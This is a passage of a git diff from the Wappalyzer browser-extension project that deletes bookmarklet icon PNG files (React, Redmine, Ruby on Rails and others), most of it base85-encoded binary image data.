zcmV;+0W|)JP)EZh0~3QZ zFPoVRSDe1!!AD=4_r19L?icwM{Qv*|*_YpoFTTf=3e)1RaS(5Ck|^Kx{Mo19xJ)1% z2aGtxS6%x!@%U?NS#DDqEKl+lKw6cJKf#KJ` z|NNZHw6fs;|Nq>qOi$k9OGOk}pe4c~%g1`=={H(g5UD31Ey#ZG{uexI2;>6>28Msw zvZ@?EYk`GGptiv5vv1Eo`%ZxcjEveM>?_0M;kki@nNf^~MUtE4{m;KGhhDC{{Nc;5 ze-v2o|NqCI{|-L*!pelma9@7^yZ+|q#pmC@;x(E$3m6!lef~Y|)LVkeaDky;ABnArc8{C%s8tYYFO~-%by>VS-?2jbR7N`000)-gYy&sh|K^1002ovPDHLkV1g@7 Bv*b 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RBS Change.png b/Wappalyzer/drivers/bookmarklet/images/icons/RBS Change.png deleted file mode 100644 index cce994edb2d691b0dd869b0814630472cd4ad1f3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 343 zcmV-d0jU0oP)Qa;>=^@*nr{QKE)Yut@d;!(VhjM;SO~-nP@Icyz;+=1hR1;O zKrDr1fC&)4M>c>5h|_`i2@V6wkTf$u4ZDeK01Vp!@mVy@4}e$=%>X{+a9}`_R0ran zNCwOXVkR^-oIt!EmjNIw1H`L<_$Uy2V3Fqn;)D1M0AUfRU)iz92_k!y0gDr{VMZWk zfwIkj_yw{7_Cy%K48+Dj+z!Oo(9;1ZKxC1eE`Y-j7HCY}K{o)D(zXI|7c|a!kTh{1 zIUN=Q`*0=YPf#0>o$Uw2&PZaq$o@w+;3p8LpoR8UsGlRCG2#tXhho4pBmq#?c7YlI pQv3xf{sD+L0P#j3{)43cIRH4&1H!W(R;K^}002ovPDHLkV1l}ug8u*j diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/RCMS.png deleted file mode 100644 index ef48b165f8a437c701bd7e4aec0228c94a8e753c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 439 zcmV;o0Z9IdP)6ovB?qA~tOj0i?sA7BN+Mq3|6SXrWAX%m7)EP~itTlxa_im3P#qFCCg$yq0C zW;0|Jci@Cc$o)8T?j0_fOnyFeYq#65EGwYn@rc=MhGw&gY&MI>zn*TSmU}$zhiA*N*8sHZ>XQfhMTW4RUI82DOnxA)4IpU$Iz;(IXO8i9UzX5j;gAv>hS2Ya&oG~qa;rma&mIxIBdzX}S z=Pvma3!l#-EY(p2?F%q)cw7n*%n{01D@-bs#ZFRmy2GtW!nkh!&Ya3L3u29$1*=lqkV)p;=6@ zJFJy8@#+o@g>}Qk;ou3m;zJe#h(3bc2E~%U2!Pyjnh|HJsJx zp=@#DW54(v84J~07D{vPWLB7bd&SPcKz5T-n|Ja)pEMO$I4#`|bRL7JtDnm{r-UW| DACpje diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Raphael.png b/Wappalyzer/drivers/bookmarklet/images/icons/Raphael.png deleted file mode 100644 index ba220eecd57f60fd33577465144aa0a607ce58de..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1105 zcmV-X1g`suP)^+9XK$#xpTj7&iT$VE?0q9Fc@6#cDqMqS$@kH zOQQkWJ6t;+2n05|R`c?BJTXa z-*-&_+im|%b4b!XqkZ6krs1SHO!oVY2!ZDaN z)y!(=?8|-BNuu{|W&(ZF#=c}7g+G%DJUb$TEQ#k)m?N2rOso0Lr}`NL+}b@qz;Gv1 z5NOH?KKKNP>{0i)8G&zS6_o(Dr-x*aL^#rp6vgTlvxC1sAsehmTO`$`h8HLU65b4? zu@9|ZQ@+HE|1Weh16;R9!^}*AheNBFkw|16rSzv6oIh~$fH?5=F&XO0C}b+Zx^Yik z+U*3-Kw=(4zJZHwSXb@UZt?I~yQFSZ7=bzbeRZE8)EJ>q7oxxrkRMnRq%hPZ!Q10< zMsVG3r^GpkeawYj?S(214}sqkV&mbsMu4yDYy93Uuwv}Tm|}<$vA?(&V>A56=CJk9 z?wIECsGmAWaeFW*7foVkod~BvAZ8hmQYH6>5E*YeB*Gl2C~URmVAreMnNL#Cvc~a<@Cm#lt@FwOyl6PPOpOX z)HKoDMmL|`VNFB(VKYb~wMDYjfkX|3dj}bOIxPe`JFdVRtRuXbnfD@Q+)@pztE+b+ z38NbJ#KZ$Hk1nlvPV9V=S*xVp{cx=+KrMYhFF-g~b}iWt8X6iB+%@*YxVv)+tD}~x z-pWxe{~`F^tnIkAwzl0I4%J;U0S=Ol1osASK=%h^6tINaah7fb-<{V?5RFEYW)eI@ zUX2!3cz6d?B+JO&SftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/React.png b/Wappalyzer/drivers/bookmarklet/images/icons/React.png deleted file mode 100644 index da20b6e8a562850164785b886cdc53e7a67e3656..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 561 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE3?yBabR7dyQ2{<7u0T5R)^A!M0maX!fu_rr z1o;Isu=0p1Xc|~Kc}6B?mNoUvSg>l-u7js8TzmZbun?Dw(Ch#IKhs@cTzahicfmJrvt1rWil5T8m~XuLpj`7xdqKjSh5h#$ z)J`P9F&z#eeNi^bVlb9LzBmx%1d1aX}3T1q$l)e z`m*tCdVAAq*&M|gddNAvB^q0DL%PsE`51d%9R+P7V>)BS$^4|uFxR>p& zJurXfjC}J~e_|Yqxz}WK`8O@!d;1lm?jp8nKhi_u`}Z<%wQ;t+s4ig6*tz0Y!)ku} fgO^U!zmj)5qP+RpuIaOYvBTi$>gTe~DWM4f?GzQu diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ReallyCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/ReallyCMS.png deleted file mode 100644 index a0b6a30458e268937c4531a7afdf00a3e9fff2fb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 781 zcmV+o1M>WdP)O>Pz3aXghVX?3Zh>Nlt4vR6uphg zQmeIhBC4tDtI{mhRrgVu-qwBGx$`x5w=J~}oMC1-=X(s_04Z=A1Lr(-v^nP46de}1 z+W*xl*p&7^NSJM|139d`!HvspO}NlHgz}alTy1U2xYFoew(C&NRP9tGBJz`Wj-oak zvp?`r?#qDO*7%jS)Q4!{;}MC9LCSnH8C!l@X{LDoMB~@G-KZI(t*-{mma$1gk`#)P z6o14GQQR3aaN~o?o{rJR+AjCBN_g>k7b^X9u*oNg5-zf6!IVi_DCzntaqXj+Rqdzk zXD+*v<~1Aas2pit`DB1}LzpR3TrK{nNCXnU0|cW6Evo7_ajTE=>H^K{HgC2=+kGq_ zRY9ZJ8%SnU)D4q%)CXzFy&)?9tS9bMK{mY^CS32K1uwoC>yI4I=Q0{`0;H|VNRz3i z%D?=?gZ?P|VTtE~$iMH+A;*QOHH?foIpc6xcMacTl#*1BP9n}E_AH-=Q_ig9Trfbj zgx2x6bs&R)h`}71Y05A(hO$o+tYt#NVdLa}VljU=1Juzm5|ggGn-r7CN>#&IGi3)z_(q%bA3wBd+1*75drvbLf!7ixxxRlFCd z=#lq_lP_QC)2ZN{pHe984yie47uwT7!u~SXv`NJEHaCA3B;4#UbDs@}Kvb9!Q&M3^ zh?r#fFVP}w5c=}}K!;geo ze*~phi)Q|X>6Pp}>|}S_&*I*P9^CBIal1=r*8Ya~EZb4woSFF-(UQ!EDTviO diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Red Hat.png b/Wappalyzer/drivers/bookmarklet/images/icons/Red Hat.png deleted file mode 100644 index 25596be13b9471403a86dd61646a1eb46c6e1923..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1440 zcmV;R1z-A!P)l0~LXTGJTQ&=Hb$*{aEMnT4ul z*v2C0=4>5ABz67l`M!16X4r^U$ZuUt}PdC`v*?}HyBKEFUt2Hp* z7gA0hJrIkA4kP2zL1I?@Fm^r6#iEHOy<{}o!UK>x8G=wa(B1(KtZ0aWTjz&Dc?5W5z#!| zv%SAFQ*lwLz^S80&>tI#S*-?Q9?VFkQrzt5h!Qj)C@9Ftm&*&m0Tf;(e4QL|H!d3A zsKU_^c>^@&|8URO$;pZLWoLVP%$?M5p=L(hQAcAfTZ?51 z`y&D6CVI`=i&v(rt1Et)nD8|lP*6}{uzbOjz!WESM~bHuUQ~v+VFopKV#8?=}JLVzt^esObcXs+^AN;IQb6{MevjrOrSk6olG(aMe z;C5eMgs8s0zSh*`ZV|XF1uteKb7f`87)TZIp1&V%MukyI;yJ(x8NeI}pw#*}N_e~F zXO}P6iptB&^`=doLT(jmR(7r7p@N=#5f&KT()>8^OGsNJ+p)!3wS?SPD^7=Mzdt4@LC1v?Q}547ABFd6;?ga&uQi zN~O}O_U|Xg@Pdvh`j;?pFF}PjWXIq~9x=e)q26FCNM|V;COt7Kl~Ls8=4Sm7q5RZR zIv5!Fge+`(Gsm^!M6UDMS{eUkr-#2Bxw)V#;y70k3;QfVK4NL;iVlC? z;uQ)AwqHis85uZz<_zK~ZzF^a=JAUdz`*G1_#B8aF)>DwCMju!w*yl7Y;8ROTZ4mx z&q|P}F(inhp}{}sYshqN<%xCx*qdw6`UGyw{s`+&2KG5k!I-RcCaML>dc|eq;h_zvJ%xF>QMf687|b-jqy%J0E~wb zeuf{Dx7V&--F<8noCyJ_55s`Kz(8c4Oy|<_)M({X?4FY`fH#Sr9#lE~n&DJd7T*!; zYPS6w0Ei^o+OP7BjSV~;ALlz_vLg5OcLYE}^vNM)gvpQ``2P@qjObgU$NNzFc$-Id uXn)B7#6(F%9Ykw9O4qi}*gIld<^B)eW`H-^xT@^{0000U*ls|7s3#s;H?gKuxeRTS=zcgcSlLifl76g;@hc0K-gYY$Pg5pc5Q| z3M#QwaXAgiHX)l5O|cAglgXCvp`z>Fd-|O(weVe+i#s6Lfy4do_nq&Y^PT@X-80Yt zA|fKZJUu8s- z&W;=%9m(F_eiL}x+1dFjlsV(z;P72!WF(D_j#5ug4|#cck%x!JS^yY;24y77HDOwY4=G92_KAfHQ(%5klcvLC$9c z1_rwL`T3cdw~LEQIrd(H43iKZ92{)MXM&?MJ3E`;FG5lI4SNfC1vNJ})BOBAJt@r2 z&Qfh{txyEKX25ePIyzd&U|HDvR>+1gFGWQ~?O$waYT`rj60IO7Cr9uc9v7&HDO!LC7UjYiMX_5WKs(y2L-rME$U`1*D0I30hoS6adAAvSqeFe{pd!B_<|PVPT;v zV-`#=Bkf<;k&XHh^7HelsHlj8v|oov565Di zJDJ++W$6)7GMK)(i%>+q`L!+G&1-)txkraP;_de)6r~_I13ZOuo=FR2hWqR5$ zJv~jRsuUU;dSYLJf`S4gd_tX_olji>o(DMQY|1fQ@Hu8Vk|aspyl~Iv=H|Z&*xK4U z)Rj9sJ3I>znpU2T0?EnAPWar(&CMlQmTfMNjEsmnQBzYxb8~aFz5REd^P2bgjA@wm zAXu$dN=i!N^KqbhOAZSQi$Z@_Qc_Y>Ey1M}?U)Bo5l9@kjJ)POKKp06-2*N>+|1bY z2?+^4kL`@8(Z}$)4Kq=9cel{|AWTh7QA)_Td;kCd07*qoM6N<$f-D+T3jhEB diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Redmine.png b/Wappalyzer/drivers/bookmarklet/images/icons/Redmine.png deleted file mode 100644 index f29fee62bd2f8861e5ba68c7e607ff8aa1c32f15..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 687 zcmV;g0#N;lP)CW?vCn7FYxIYER0 zO&u^2q@|RqQD-MqQIHTPrI6tFB@cQ%?uz|mSo$WPT;$6RUI0SNZ0sg32KNgq>*$n z0WRvC8s^+fTe5f602F$u(rYKaVG7rIIzd=>z#U-7F~1w%@dX!(31D2qG(IZR?5ys> zC5$4WQaGdYuHv&}-V8f(s?Y$Z%|uK%8ZB#Lu?S9}1e-pZt-NO-S)bz^ z-X){5$I-AEFSN1zqc9Q~OZF$|s}9op16ut8)F6d!XUv-ptqG`-`a zQ3?DF(D27jZZ06J%;%rzaqUte#_-G4_Xi?g0lGD1*1`OJ%u!RQ%RW7?c)fx}kK*a! zm;@4Ad56Ub>9*$vXpl+2LwMILiaDLwPjOWVufWV5(O%|tPN740r)nv{NOXlTMJMrm zskr#Xm)+L`-Ij{U`V~LJeoI2=MSH(3F|O5pmINSW7Bs!F3pdg8q?TRaLnCIfsJ3N06o8*|?tLd8rgTauDv`#5f}rBgjUW^ivk?I|MX-V^|B~QeutkwpPy|HXSSSJ_ zp*R&oQbN;al1wHu_nr@tFMh~1>E~ZqLPTPbEP70j=JuV8 zp8K-e`Sj}-E{{H~3IG5J0FWR82><{9s4%{=BDW6DPD))L=}q$_1w^1{q5-2K6oE{z z1oNZ^5D7p6Ya_W?i=;lk3L7g)&*b`85QRr4aNHmhuCBt?1{8t+PGNGASR{okbtK7$ z*OTpW5|V6;K!AG_I6Q=Rx8R+ZKmm_LNbWy|Z*~)ppoTkx6b21uUAQxWp775pygG&( z*Muh*$?aV@T_zvDlDz$5@aQ=CY2v866X8Sz-#-j~-47ldCG#G7DAmVZC5IXiaHN$g1>E{x}$TV-t2>hUq*xIyZK%CvRPK#EoBCqb?Tl+~IX&5X&@3ocqm!l-5*2gh?2T`~-n?gc~fUM(f&csOkn{s45_& p2mk;iK#-ZZ$87H9XKRbk{s&5Jn#4NQdK>@%002ovPDHLkV1m3sEx-T( diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RequireJS.png b/Wappalyzer/drivers/bookmarklet/images/icons/RequireJS.png deleted file mode 100644 index a9e3a95b03781ceb1cd894a45dc3518f147d1324..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 345 zcmV-f0jBF^CNk1IjVr13<+^j*DM?b6WD|KQ;`K1F6B#s8xT3 z4Jf%CmqsiGZ3pQ=via2nWCeMBhyL$NEB*g4Bp8fAY>*g=AwVyIHQUX9p$qaSOk!Hq zoc~|E9I;}M9Ksc^|JcrZu7zSd$d*su&NvMK$>sDPL3IVtq#H1SQ}LN_#ox;e|Np(l z55^!iO#DPbHgZ^81-alSOyHHjH(cSrR~-NU|7HSX5E~{AQiJ4;54a6@!HF;c$cBl( z@$*FT!mH0918!sWLXAGyW)KFkaeBdF@vF&X2O=;6D2hgqUT|7Kb_H@mdK?r8##j>) r$abnFWr{Ns_U!!XJW_O>$CaG{{4GIOQ%?0200000NkvXXu0mjf^X-!n diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Reveal.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Reveal.js.png deleted file mode 100644 index 63bb6777c057e7e25f27254c4a8353f179bd48dc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 108 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6j6Gc(Ln>}1&zPK7ANIk%ETg{6 z&x$!OvqOlDgPAGe(1|^c%Nax`EKaykH8~;WVgI{cM~0>0Q8JrePvHh?XYh3Ob6Mw< G&;$S|=pqIH diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RiteCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/RiteCMS.png deleted file mode 100644 index 939024adc87623aa32df77c0f7622483d413a3c5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 245 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`dpunnLn>~)op_M9*?`A&FQc-7 zlUqVd&w;(-AnJkOCP!l@KihN`H;=imlxw$MxKKTD-y4ZP`;woO)t_)(>;5(Fa*C91 zv*yfa@r-L1&Jb%VWqfyUFMx%W+Pq8;$V361MhOW4|0sXFVdQ&MBb@0F{$u*8l(j diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RoundCube.png b/Wappalyzer/drivers/bookmarklet/images/icons/RoundCube.png deleted file mode 100644 index b76b17077a7ee93a768e6bca1c39addbdb4552a9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2108 zcmV-C2*dY@P)e6Sb+{=Q}=x$*7Iaqma;d$Q1k&%&KY~H+i$@=x{RY$2LaU3gaEjD$qDMEIRuo3do z%P+BW=dZ`c$H%vb$n*cLfNR&TUAyz)pFUiv3=EJYF(QJ|8eG1S1N?fCIV=sFrG&c1XR{@vx_xBI2S+gc1b(UwOxU94R z2W315oz+etXyuTJL{5)nV4#8sd~)qt*GORqxbj>Dd~SH@Qo4J3ur|%ei^U?@D<_f> zSip)R1+3BzCd*^;y%*@U*@9^RqNA%3>+{L8v zXA#*5%qz|W2Bj`UoBMU4^DAb}mGbSacd74gxSZLrg%*pu$rPOkN1j0h+EJTkvq_XB znL}x6iR0MqN13p>g&JdHW7vf`9+~ZC{Ky2!yW`jsZ%XdOm@nU9aC^E)H1xo9OI*?Zk+G>Bc+Mgw5QqLsq?H%FoCf>yBEti)`XaCd9!IhT;E3Z_3Z@~M{!2pYDHQ1&V_6gHcd$#Vz-XkZNgS76Qx8r(n?(2K-++kE|2+%!<;&H z6cY=N^i})*Q!>H@U3vUmfC50Wt^txbA&w(bM`#5sf=w)` zO*5gb$O#Nv%(p^bII+Nqn#baD7p=LIoTyf5z5X&@634}vg}UoR2qcdaL8TXrghX+Z z@mkDt2M#fMUN1{4eRSmWM5*8zow<-$A<>2umqmyav{NCBQWjcms>dsy1%F(0=%F&`1k)OEfz$G9m(XJBW^0@{0^qm zfOgPHzEGgE5KvFx-OyQ{YC;Tc?GuXTU{zD_%M{{c96dD&7ElV>O=<4^Q`OdHe_((M zOn2q_+^28$C9G%9K~M;Y01D7q-40_G>Mtr|`5vdj@gY$5Qgdi7+hgF-Q_|^5k0_eCIe|PFred?cGJVfA=#WcK|g7bSQYh z>l?f~xa7uyw_?50 zulu|Nm))XpLZm)}5Og9a=hI?JRQL2+SkCpLVY_fE|~V6gL3)Si2cbYW^G@W$D` zjs=K-qlnx~8jmFN)%)wuZ{M@<*yg#`u5Dr`4P(ruZL)2V4l;ri}Nj={~QKUv-Uiec?eV-}@J-{O}dI;wLXk z<;L5sF7@mIF5n{!4U7Q4N2!M2bDs3y{C&CNJ5NZy)HwyLkxwE30000iqBk diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ruby on Rails.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ruby on Rails.png deleted file mode 100644 index 09a9fbeff18c02cca7fd260e9e8a5865f35ce4f6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1054 zcmV+(1mXLMP)qyl!8AyA@74qH+jLqYG|4u*E_`G&%)IY=Z{B+|OGtrFqfgMdCTQlE z8Pa{GCTCkj>@t}cal9l#$^Uo~O!^Hf#skxmMEL&^LFH77@Fx}(TM|t7|GSQBUI`dv z68;cGuPiEur-`*_8A!)re4ash4Y1ZAd@1HsB{VtKq!B&Agl^GjB}7VB0^&YBXi`xF z>@}FE1j!n_H-h{T@Cj&BXa_z34}ci9rWS&?CmFAH9fihVc>tsTj?@c1=9g!JSPC}Tc zbdi^cVi-FOBcHPn+xQIPn^?CXUev#2$Bcfyb<2lpv5?*eV{@^759YkaoQ9m_@Nys~ z-&dilJ{gP#vFNM{X*TkAz}|XZ7QoyX!o9N7p2fs4j2${rT+UAhN+XuWC*~Hw?YZkdHIUh=gi5ZB-=57)!6D<&X7Fj+m$@GAyjR$pG zp-QYJ2l+GX?<~AugVzf@BabuL8%B?+63gcOH;YEr9p;>2t5yTm9(ph4s&dQbeJi|w z-VhOij=bT1i*mm=b|>WqCL(claqwk zCTYOkVFU7Q9o>unw3r-^WZJDdS2l86+~b5#PQu!EShu0@_S(B#Lnzn4;2juhjs^5S z>H5#!YE!EJH^oAw=#FAJu-@GPJ`K4h5hQiKi#RWuox& zUW-nLp+BnT_n;Zo*w-b80@9U`U}A`y({8ctefpxvPx#07*qoM6N<$f)S+e%>V!Z diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ruby.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ruby.png deleted file mode 100644 index 6b9f20f6209e1b954188429f1009a89cf76fb0d7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2280 zcmVP)_s*+j+5+tq(4xcy3=qL0v55kRBpMT9Fz^9UKWGp!$Scumkhg%K z6eUK$00IQ81~tTh2uOtj$V)1N1sH}tr!#Y(=RVHadzp0hhlxRvu#$iFKPTDu_h0K~ zog=)@Qq>eV30UJhz4`h*cZBA%n`u4u1iiO+N+`U9PC<*F%%!rUZ^|dntWzhJybti9 z`KHHCZN2>B7ptB5Lu#W-aYwC%eqjEO_tSpnX}YhxLa*7R+3V1dKtn9^%8oAP=jS(j zmjK9ngf0V4*}d_eFU{P0*Sd7e-%WdZnxYHVLuF~g#D<&kqs!TT(*|ar-b|}GOHY&z zjvPyYAXeBF^v=r~z0>7Az}FSiuidrnnyXj7eb;T|jV`tZHZfQc5(7!gv*eh=S@Ym? zym0CF!{+su$nX%NNkT6OIfh&y2gC|{;8gp6!auw7*SGxs`LCS0&%Yjcn9`M)OfVv# zf+_?AF^c#BE53R*D?W8R*~Cge`S2rjy+V>;jEQ%^pb|nDdDj5_ymiXtch9}=rS;#- znvEveFjxhnAR-t*5EP(PDhI4)pOa6a|LkTNcgBpNe#h&tQF60Z|}&6ckWZ zLI;)~dn9JbI5W>YjTs(Uc&-psLDd|Xi1<>%t9>t`Dgm1A9ainkH?LlQ#dEjbOSU9- zy%-ifi+lizJ{)+?MeOZPF8kAINxc`8U{_~b!T=~?+ zmtx1jvZxk?h#r7op+653UpS8OPae+;-#UxZ8H(P3pdrGQpo&)|0HcaM*uY%L{Ney? zdt%c?uUvQeidG53Y2*lT&A>!2K-?yZE+or`IP#|3nccEQr>15ktq6ueya$Cs0raDK z3N>I{m@|vIU;V;{pPcjBKcR_Ot z-~h9DV9_H`3y=n84Y6L{xbX+m4?S4(DR>V-p$y&9&pn;@Pk+HEc-4(BO7p<#Cc_0grDRf|uQ&sV;)}`6x7Q3Y4XnD^- z6=y&e#rA-4Q1-zWaP)OoF|qOhrmwvmTmpb|j!NPP1_ba5{TN0fT!CQ^0SIvdhn6$D zJ{Pu4vugQ1>}a-WJQ&&YoJv#d$(QENfZ$`GgjWvR`hS^4& z&H#oStiA9%9CQ8!ymIzgY`gb9((zG>b{kmqet`ICHnGFlc|5C`g+h@5s4+T{Bz4!g z{_0A)W(`YE_zXp-gO&y49fFp~*bw8NK8a&5xPbi*JB%k!K9RY@i6INOxh*B!AgQS<1EoA00q(0pr)sTU3$q+smMrM2us zuATRXvc^0!8}DV+h3lzJtVRa|81(UTv*eFIigt5$-Tx=57@GZ(wty2z5K>VRzyca2 